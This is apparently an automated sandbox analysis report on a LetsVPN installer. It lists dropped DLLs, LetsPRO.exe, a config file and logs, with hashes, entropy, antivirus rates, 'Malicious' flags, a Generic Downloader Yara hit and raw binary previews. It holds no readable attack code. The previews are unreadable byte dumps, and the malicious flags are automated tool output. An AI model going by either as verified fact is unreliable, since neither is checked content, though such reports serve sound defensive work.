Category:	dropped
Size (bytes):	1910760
Entropy (8bit):	5.9104950900062425
Encrypted:	false
SSDEEP:	24576:xWltPuAnUCiag6CKM2zCy9sQuOjj1VgZej6GeS4lNrCze5qhYp4t9m2X5l:Mt3UCiag6CKM2zCyZuOjJaxSS5qhr
MD5:	10A090D9B59FBBB404DD4DA233E3BA5B
SHA1:	AD683C9CA3D59F45DC0FB587B88B9B7B92B3118F
SHA-256:	677C41FDBD8E90CCCB5AD0CA4C9313AAA96337405365E3DD39313EF9B99A93AC
SHA-512:	A4F70D0E16AC80ECADB03715D7C47CCB47AF248544CC936CEB7B06B1D08B3C84FB5C6618F5520A759089006D5926B9B843AE0499C5A68EDB8F208A091CA94845
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\letsvpn\Update.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KLL_1.exe, Detection: malicious, Browse Filename: KuaiVpn-n.msi, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5.p_............................>.... ........@.. .......................`.......\....@.....................................W.... ...................+...@....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................ .......H.......LU..............,.................................................{......{......{....r.(......}......}......}........0..S........u......,G(.....{.....{....o....,/(.....{.....{....o....,.(.....{.....{....o.......0..K....... .A. )UU.Z(.....{....o....X )UU.Z(.....{....o....X )UU.Z(.....{....o....X..0...........r...p......%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.......o.....(........{......{....

C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	113128
Entropy (8bit):	6.310120137379966
Encrypted:	false
SSDEEP:	1536:cARI0MvSAA6U7ks4jhOWE8i6wrNMRjYAZlfNASZfSOi3qAwrxX:cWMpA6Agg8ahQYAZlFnUqhR
MD5:	08C367733CD7D3C92F8E7838DA655A44
SHA1:	CA27248645DA63062337FBBB52A84E014250DC62
SHA-256:	DB8D8E2189B9C74952D5DB987224E6084CE3B0013516A613D3AF22C2E626B2C2
SHA-512:	46365E91A00274F6FE180E312CA3E3358A211B5566929F66FC2125BE7F431712D65DBBE61003FC3A309EB69544DC61C99734330A0BB6899563E505136463F7B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..~............... ........... ...............................<....`.................................a...O........................+..............T............................................ ............... ..H............text....\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{9.....{:...V.(;.....}9.....}:......0..A........u#.......4.,/(<....{9....{9...o=...,.(>....{:....{:...o?...... ..1 )UU.Z(<....{9...o@...X )UU.Z(>....{:...oA...X...0..b........r...p......%..{9......%q&....&...-.&.+...&...oB....%..{:......%q'....'...-.&.+...'...oB....(C.....{D.....{E...V.(;.....}D.....}E....0..A........u(.......4.,/(<....{D....{D...o=...,.(>....{E....{E...o?...... ...[ )UU.

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.942098509975081
Encrypted:	false
SSDEEP:	384:qu/ZC45lG1SpwKANynsAw/98E9VF3AM+ozD4Dmr:V/Z/loAw/KENAMxzLr
MD5:	DDE518AB3D3F80D4D7C7F3ABF26A4315
SHA1:	22B9F0AFBFB639D6F624E4049B4D29CCA349219E
SHA-256:	75F97A89EB8D78034FA6511DF14C73C7FAFF4AC34F63E11ECAEFA97AA44291A4
SHA-512:	C74E9E0869234DABC125505C9C89BC7B8A16341500F649F288FB93A5A17D9FBED20034D5227463FB1588D403201924794FDEF570A461E4A99BEE308BF9A8059F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................-... ...@....... ....................................@..................................,..S....@...................+...`.......+............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......$!..l...................P .......................................h....X\|f.........+.j$....r.~.3i....m2.....'.\|..OZ.ep..)t?...P6c.<<Qe.M...M.0.B.(+.v.Kk!...Y.....H..7r.[(.r....J_.!.....l.0..,...............~.......j.j.j....... .(....-.s....zN.j...(....-.s....z..(....*BSJB............v2.0.50727......l.......#~..(... ...#Strings....H.......#US.P.......#GUID...`.......#Blob...........W?........%3....................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.956445953667057
Encrypted:	false
SSDEEP:	384:P4TdwlzpwKANynsAw/98E9VF3AM+oh2tuHGq:GdjAw/KENAMxIuh
MD5:	05EEDB6A8F92D9E0991BAEABAA09A1DE
SHA1:	41139C70A16A8465738DAF3771603985D77B0B32
SHA-256:	33F72F1482A5D3D1397A306041E062BDBE029A9C0C0021D86EDAE64FBA9FF00F
SHA-512:	A57D0BD14FB0FA9D8A4B153F4CC276AC2106717BA4FA93B762760D63E2860EDB6BD9760CF45580263D431626A95F46816DFCB0D6FC6CED3F23ECAE409C0298BD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................... ...@....... ...................................@....................................K....@...................+...`......H)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H........!..D...................P .......................................!{.`DzN?...dr..1..9..NN/...[..t...2......C.......x..YCU......=....{.9W.J......^S.N;...iY........RBA......{..u..\~..1/M..^....~....(....-.s....zJ....(....-.s....z..(.....BSJB............v2.0.50727......l.......#~......`...#Strings....\|.......#US.........#GUID...........#Blob...........G7........%3......................................................................y............... .......y.....

C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	15848
Entropy (8bit):	6.926566591160178
Encrypted:	false
SSDEEP:	192:xYN8B5+pPIKfhigcNynC5c77bgfU5izh/y2sE9jBF3A5K+org2J0y0tW:xYM5+pwKANynsAw/98E9VF3AM+orLiW
MD5:	79FD69F0B9A830A79DF9F8BC2B5BFC10
SHA1:	856174B9681CE4E6A3577D648E62E7EA0AC749D6
SHA-256:	8AFE7BC000819C896A43DAF819EDA166F9CA1CD671F91652015B636EF7ED2863
SHA-512:	1E8B9E56393F830DF94C5FAABC546448457E94C947C15DF154C7339A618521FED97F0A8182FB1169361F69DD0E48C867314AD4A731DD4EDEDF37057B6BFF1FEA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................(... ...@....... ....................................@..................................'..W....@...................+...`.......&............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H........ ......................P ......................................%.&...Fm........f...Dj..[..(...:w........s4H.. ...p.+^z...;_....~.k...\|... ..q..+.cv.VZ.A.[[\|..m.0...w.._m.<0...d-.[.R.BSJB............v2.0.50727......l.......#~...... ...#Strings.... .......#US.(.......#GUID...8.......#Blob...........G.........%3............................................................................3.....G.....U.....n.........'...................................%.7.........

C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	220648
Entropy (8bit):	7.172693296669628
Encrypted:	false
SSDEEP:	6144:+YP7/P97ilHDqO01ktQOzB4YjDnX08RYA3fP5SRhS:+YPpilHD+kQA4uk8RYA3fmS
MD5:	31B3A8A6C1DD13132C1D7C114DDEAE98
SHA1:	8E1531B42FAE1BFF7D43F4256A57AF67A075CAFC
SHA-256:	96CF524DD5DD3EADAE022DF9B7D9F9289600FE8F3B24969EBD90BC21C1A7312F
SHA-512:	2CCA6FF092C835CD1C66773113828F6FAFFD0CFED309DA45ADD6DA9CD1EBE3486C9A58293AFA758E1A5BA13FEA847B1AA6EF2839D2351F842C63E927E1A22E49
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....nX...........!.....(...........G... ........@.. ....................................@.................................`G..K....`...............2...+...........F............................................... ............... ..H............text....'... ...(.................. ..`.rsrc........`.....................@..@.reloc...............0..............@..B.................G......H........C..............D1......LC......................................F.~....o...........J.~..........o......0..E........u....-..t.......(....u....-...(............~....o...........o........0..T.......r...ps....re..ps.........r...p.....(.........(.................s....s....(.........*.0..G.............o....u....%-.&s......o....(...+(...+..,..#........o....+G.o....#........s....o...........o..........#.......?#.......?s....o....s.....s....%#........s....o....% h...ls...

C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	56296
Entropy (8bit):	6.198513563770946
Encrypted:	false
SSDEEP:	768:/fgAOG37OIh4Pqr8OvsQu4wwC9ZBMGAw/KENAMxQ41c:/fgng6Ie1OvI4wwC98GAwrxQn
MD5:	6465D2200CA37801DD31FC6E0F13D2EA
SHA1:	2CEA26B57815A280C8F88E11FB79D9522A3F9502
SHA-256:	43BADBC579709A45C89955ACFA4C4ADBCF37F5D455F6A759D62BA09BE051B4A4
SHA-512:	D45FE7401C4814C1F2BA24A26678ED4E6A137B5468A02C97924BAFD1F8B5ABF3D272513093954EE0CBBF5E4A54D34E5CE9A1F30ABCC411EE0D0371416A8A68BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Kn.V...........!..................... ........... ....................... .......R....`.....................................O.......X................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...X...........................@..@.reloc..............................@..B........................H........O...s...........................................................0..b............(....-P....=....s......o....o.......(.....o....o.......(....s....s............,..o.....~..............7R.......0..).......(.......(....-.#.......?..( ......(!.......0..).......(.......(....-.#.......?..( ......("...*....0............s......o.....o...........o....-...(#....X...($.....+p.o.....3...(#......($.....(%...Y.Y..+J.o.....3...(#......(&.....(%...X.X..+$.o.....3...(#.....('...Y.

C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	628712
Entropy (8bit):	6.139135987986315
Encrypted:	false
SSDEEP:	6144:ITTh6UXqQ0l0l2b4GQnn9lXNbOpIeQjDfjJcxm04FSh+0Nsj8X+iKbH2YjotRhu:waQ0SnPNb8IbJImZo4L+u
MD5:	98AEB224BD1555D587560402959438A5
SHA1:	3FB9F2E31DFDB8791547C4AFF465BCDB9E3094FC
SHA-256:	62D37FF40136DD7DE542010464B6F6F70E98B056B3A57FB45E709AF2FD41DE4E
SHA-512:	5A6E51F1300F78309C378DF6807A86EE1C4DAECE66AFA722BD8102923C652F898E8494F96BE6058865DB8DAC6E1DE85071AFA846D47C3EBB2DE96A4316A36DC6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L..........." ..0..b.............. ........... ....................................`.....................................O....................l...+..............T............................................ ............... ..H............text....`... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B.......................H...........<N...........a..`...(.........................................{w.....{x...V.(y.....}w.....}x......0..;........u;.....,/(z....{w....{w...o{...,.(\|....{x....{x...o}..... .7.^ )UU.Z(z....{w...o~...X )UU.Z(\|....{x...o....X.0...........r...p......%..{w..........>.....>...-.q>........>...-.&.+...>...o.....%..{x..........?.....?...-.q?........?...-.&.+...?...o.....(......{......{....V.(y.....}......}.......0..;........u@.....,/(z....{.....{....o{...,.(\|....{...

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1471464
Entropy (8bit):	6.909759686698742
Encrypted:	false
SSDEEP:	24576:RKHzzSw672M9dzY9QV+baTAjHtKfYqu9D:RvCM9H+bYktuja
MD5:	D664FB656FC05BE54EA49950688BE980
SHA1:	98B18B4485C0074F868BCF476C413F64FBEB7A15
SHA-256:	141B71A28B0D4ED9B8586BE50842CD1B32F2C86EB389444D39DB3AFC47AE8EDF
SHA-512:	31C4365D655D54B94D9D1BA4B5A987372742D19F3867FFA26F88193C0E76CE2FBB78D006EDF6BC97435C4E1F2F7CC6A04B8CAB6B5AF641E95CFB5CA54DF9587D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p............"...0.................. ........@.. ....................................`.....................................O.......P............H...+..........D...8............................................ ............... ..H............text........ ...................... ..`.rsrc...P...........................@..@.reloc...............F..............@..B.......................H........b..X...........L.................................................{.....{+...V.(,.....}.....}+......0..A........u........4.,/(-....{....{...o....,.(/....{+....{+...o0...... .z.. )UU.Z(-....{...o1...X )UU.Z(/....{+...o2...X...0..b........r...p......%..{......%q.........-.&.+.......o3....%..{+......%q.........-.&.+.......o3....(4.....(5...^.(5..........%...}....:.(5.....}....:.(5.....}....:.(,.....}......(6.....(7.....J.{....%-.&.o8.....(5...*:.(

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe.config

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	22737
Entropy (8bit):	5.008129188489306
Encrypted:	false
SSDEEP:	96:liBqrQGGJHowfGli6CkuMcuiuwuwu8ux0GReGWeGFuGgeKCUDuTeHOTu0U5e3eT4:liBqrUOpPUDRTHffIC
MD5:	3B1D12693EE14F307D7E8B1F08AE23C0
SHA1:	82719E54B457A4E5CC57B33714E67FC0305B6E90
SHA-256:	0B2A37670105E8D30FE0C4AECFAD876F669663834A6C91BC89E309FB609032B7
SHA-512:	AC7B99E0FB2E7D656DFC8E5DF1FAD58E4446C854E6D1D05A48DBD5FE93AB4978C3B206D828D8BCFC874EFF0981886BE4AE72E063AACCF895959D7CD5456A5E95
Malicious:	true
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="EnvConfig" type="System.Configuration.NameValueSectionHandler" />.. <section name="Production" type="System.Configuration.DictionarySectionHandler" />.. <section name="Stage" type="System.Configuration.DictionarySectionHandler" />.. </configSections>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.2" />.. </startup>.. <EnvConfig>.. <add key="env" value="Production" />.. <add key="adCampaign" value="" />.. </EnvConfig>.. <Production></Production>.. <Stage></Stage>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.0.3.851" newVersion="2.0.3.851" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23016
Entropy (8bit):	6.441130187116346
Encrypted:	false
SSDEEP:	384:28KmV2K7tmrZoecNmX3pwKANynsAw/98E9VF3AM+opv28/LYe:R2KZsuV4WAw/KENAMxpRP
MD5:	71D1A40FFC5DF867F6BDE5C151979AC6
SHA1:	3393DD38F6EE1E5AC3BCEBE1C1D62D7915EAF66C
SHA-256:	386BC014245093353DD4DCE5E0E2CEDCCFCEDED9A755EF7A5E1ED22CDC7060A0
SHA-512:	BEF1A6FB75E50354FAB91F8D659D2D017323068DA2D39ED241157B45D8C60C0AD359D1F3D30A509420F3F3C08FB39C1E4FF895DDEC1884223C38A8C52DE8056F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........D... ...`....... ...............................X....`.................................OD..O....`...................+...........C..8............................................ ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............,..............@..B.................D......H.......P#..p ..........................................................2r...p.(......(......(....6r%..p..(....6ru..p..(....2r...p.(....6r...p..(....6rg..p..(....2r...p.(....2r...p.(....:r...p...(.....rs..p......%...%...%...%...%....(......(....6r...p..(....2rn..p.(....2r...p.(....2r...p.(....2r...p.(.....rz..p......%...%...%...%...%....%....(....2r...p.(......(....2r...p.(....6r...p..(....:rI..p...(....2r...p.(....2r...p.(....6r...p..(....*6ro..p..(

C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.5881688344599585
Encrypted:	false
SSDEEP:	384:/alg1rUI/8TocEccc2oS53g4YAb6Q+ReJRpwKANynsAw/98E9VF3AM+oLM8B:NUI/8ccEcccZhRAujeaAw/KENAMxwY
MD5:	3751142369266F95134C079B540BCA53
SHA1:	C2AE53C26D860CD757E1DADBD49DCE4EED728B30
SHA-256:	605BC407A2E8453133A7386B6C11C656F3D5BA59F973849C9AEB3CDD084DAE51
SHA-512:	372DA867FA162D4385316C4D61D33F30AB0C812AA8EC087630FEE4FAB94BE5ECF05C4D8A7F9B8D967FA966F1C590A3F2EDA880758576CCF80010581274184D3D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..,..........2K... ...`....... ....................................`..................................J..O....`...............4...+..........HJ..8............................................ ............... ..H............text...8+... ...,.................. ..`.rsrc........`......................@..@.reloc...............2..............@..B.................K......H........$..`%..........................................................2.(-...(....6.(-....(......(....6.(.....(,...6.(.....(,.....(....6.(.....(,...6.(.....(,.....(......(....b.(-....(-...(.....(,...v.r...p.(....(.....(-...(....2(.....(,...2.(-...(.....0.........................................................(-...~....(...+~....(...+~....(...+~....(...+~....(...+~....(...+~....(...+(.....("....($...2.(-...(&...2.(-...((...J.(-....(-...(...*..0..A.......

C:\Program Files (x86)\letsvpn\app-3.7.0\Log\20240720.log

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.1723435870639625
Encrypted:	false
SSDEEP:	6:/QWv/tu+bRfrOz+mAJXm1n9qdW8VRxDLM03fYn:/QWbF21sXpUULH3wn
MD5:	62FB5645EE17307E51D39F8F21ACC402
SHA1:	3EC4921C834781B5A2036710F55B9AFA2750FB98
SHA-256:	5FC274E4A514BC9E56BB0A9EFA2D843C7AE345A997F390AE9D86364FB536B0DF
SHA-512:	0FFB18DD8BF9D65F35A364A876491351356A33BDC40F62C7988301C7B368C3C2D53A06E7A2554A4F5F97E88C76BEF29E5E7BF357C181EAB776B3004C9D0FF1C6
Malicious:	false
Preview:	2024-07-20 05:53:17,674 [Level: ERROR] [Thread: 8] [class:logger] [(null)]: SC-PusherHelper _pusher_Error ..PusherClient.PusherException: App key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?..

C:\Program Files (x86)\letsvpn\app-3.7.0\Log\Lets.log

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with very long lines (13680)
Category:	dropped
Size (bytes):	111060
Entropy (8bit):	6.012373442905187
Encrypted:	false
SSDEEP:	3072:mQJnskca1SM3VpPS0SOFc6tGZ4RM13yqrp1+7Em:mQ9pWoBSOeoU4Ras7
MD5:	DAFB466A6D40CA8D8D0D23A9AE843F98
SHA1:	EF3512830B98C1AB97B320FEEF20A28192E9DE5D
SHA-256:	7EF30D73B7D6DCFA48ECE73393E45F82E35002132BEBEA2F7404AD87E1665B75
SHA-512:	FE4142AAE42533764DFE9F3B15E498A5B1BAC0DF1821B2D0B643F0570E7B28582A1C51697C608A9DC91C6EBC086A34446F3A92400A1204B98097B1D5DEE474AB
Malicious:	false
Preview:	TUhp7MNjt0usZD6b6R1C/r80Y0Z2DvVSM2uRSfUGIpCGE/7e1jzK8el/YnkXsgJ6799pUYSa.TUhp7MNjt0usZD6b6R1C/r80Y0Z2DvVSM2uRSfUGIpCGE/7e1jvL+elPcmcI+x11fLnpEsRMFOkZSsxi0S/ghVqnienJTzs=.TUhp7MNjt0usZD6b6R1C/r80Y0Z2DvVSM2uRSfUGIpCGE/7e1jzK8elAaX8BvB99MfNzgM1F1jqloaFoBg==.TUhp7MNjt0usZD6b6R1C/r80Y0Z2DvVSM2uRSfUGIpCGE/7e1jTpyqVMcW4IkgN9QTqHaFtW8cj7hFfstRfbabZVCHBZhsWkyMcSLQrpsAIfGZKVU1FL/9P68eER300L6CGADPiVqNoxd6czwpgVN78BQvjCTG2ECIKoyNONfDd4frvc+26Fn1APKv0iZyCL0ehh4oiPVH4GBIl64ZTMNWGwQevT+e7g3x8pGxhcmwXecvpJhJgtoLaaEPUHQogacVc74Kx6TkDkdTXUK4RBDuynZqmpGFOTPFyjQGNAex9pjJ5sRmrdy5/KcM/Vwd6Wmu6D9mqJmJCtmcncvvvGKJgltA2f63kxUVIOD1ffVDT+MxgE9mcb3XbKjHUiIP10pxxzMZ/pQD3qychfSmJ1eCp2/l03LE6eKmW4op42TwmBxFFx+GIKvTxejZZXcmc3/Gk7cNpXmGmX71nUSCyNn/Bz3OCXlgTdFjNJLCrgdWQn650fUcOF4buvEUEhmXo0kv9JbXV1peRWKLTrvV/Li6afDuBj1q/cionZezV+5f83qjrDRg07U6sYLV8bg6paF3YE.TUhp7MNjt0usZD6b6R1C/r80Y0Z2DvVSM2uRSfUGIpCGE/7e1jvq1KxHcysBtRt91vDhjOKT3mqifk/XbDgzLzZ6sw==.TUhp7MNjt0usZD6b6R1C/r80Y0Z2BvRSM2uRSfUGIpiQLo0ZU8+YUUUu84etRIAyx2jrt4T

C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	122856
Entropy (8bit):	6.257519931937882
Encrypted:	false
SSDEEP:	1536:Y0OQlavbPZKNK9hhmPZEMn5xGFE45N+cX8fZzd97WWhT5wNSAQr7YTFoVaoOT8TS:Yb5vb/lmhMNGzWWhTdTK5N8jhsv
MD5:	72E7F84648E080CBDD8A194626E88759
SHA1:	DAF9925865D0B4DFF2097F5CADBC8A0E6A715EE9
SHA-256:	BAE1268F438CCCA1EA055810C626DC975A650F919713B9F117F1FAC859218A01
SHA-512:	121AF118BEB639A8877995FD9721E5D620CA91A5C689D106392D00002F8C966040C5414AE16511439EE1997AD6794BFD5FF7A81413709DF3A13507D2C7ADD06A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....w..........." ..0.............R.... ........... ....................... ......m.....`.....................................O........................+..........4...T............................................ ............... ..H............text...X.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................3.......H........z..@...........,D...............................................(......0..l.......r...p.s.........( ....o!......s"....+%...n...%....o#.....~............o$....o%...%.-....,..o......,..o...........$.3W..........Ea......f~....-.(....~......o&.....{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{ ..."..} ...F.~!...('...t....6.~!....((.....{"..."..}".....{#..."..}#.....{$..."..}$.....{%..."..}%...*..{&...

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.6217913580903724
Encrypted:	false
SSDEEP:	384:2H9ooU6Xrcnt9sXZ0WQb+Jx4veT6pmj7tkWUVMWRFpwKANynsAw/98E9VF3AM+o3:2H9oR6XScb7Fj7t60Aw/KENAMx+4/
MD5:	66C75FA4A4A02B410968486529A30E24
SHA1:	8F82372DD4236ABEF9E9D4B0717D31B43730E205
SHA-256:	8EC488C0492AA2356A90F02612A1064833396AE160C9F3A0207A182719B0F4FF
SHA-512:	F5F0CFE51611199FDEEE009D7868CD86F18E10C9DB8BDABF4B85187C44D1FB0F496B7A58D87B54AC763E82720171161DF2D7EB1CB95FE91CDF376B448E91EDEC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,.q..........." ..0..,...........J... ...`....... ...................................`.................................UJ..O....`...............4...+..........@I..T............................................ ............... ..H............text....... ...,.................. ..`.rsrc........`......................@..@.reloc...............2..............@..B.................J......H.......`...............................................................0..H.........~....,...~....~..........(......~....%-.&s....%...........,..(..............#<.......0..%.......~..........(...............,..(.........................0..........~..........(....(....o....(...+....,..(.................".......0..0.......~..........(....(.....o.....(...+....,..(...............$.......0..).......~..........(....(......o.......,..(.........................0..C........(..

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53224
Entropy (8bit):	6.275569224094001
Encrypted:	false
SSDEEP:	768:Rqr8YZ2IPJ1hCmfPzcscksOOWwp/fFCHUHGoH0w8eKYIySh6TeAw/KENAMxet:R3aJBOkAHaUm08eKYIITeAwrxet
MD5:	82060B7900E49417E7ECDCD3540D0B96
SHA1:	B53613F50277687FB109AD264D434D41344FDF85
SHA-256:	E8BD0BD9D47C71A4E53D4509B857FFF651DDE15F233FF6DF1231A429981E97BA
SHA-512:	D99C273C15DBFFCEEAD759493C11BACCFAB2B0AE6B9DDC1E24F57D3E53B90B1763979196FBE0411BDCC51FB17E4FB4B043697E31B3BAB56E17533BA3D7B79F21
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0.................. ........... ..............................h.....`.....................................O........................+..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........D...t..........................................................&...(....2.r...p(......0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...0..'.......~.........(....t............(...+...3...(.....(......(.....(.....(.....(.....s....zr.-.rM..pro..p(....*..

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	143336
Entropy (8bit):	6.0318032972154745
Encrypted:	false
SSDEEP:	3072:5XiDdWM0c7K9ES99d3+uVIQNlHK6Uav1vP8F6IhP:ydWM0cW9EONvHKwvP8FbhP
MD5:	E1A6E9B02C3E399663B04EE1451C5964
SHA1:	FCF6688E0C7A1D64F701917C9822F643293F6FB7
SHA-256:	D7F1E857998B35DB917D1355B3329FE78B456D868C6AABDCF1123C4135948641
SHA-512:	D497E94094D5B5242E4EBEA7922446564075859D4E5D3542DA47D7C0B01CC50DC1BBACC09EC070B9B86F4004ED2CC81C6D0807D59047AD2B5A426ED8A037052D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
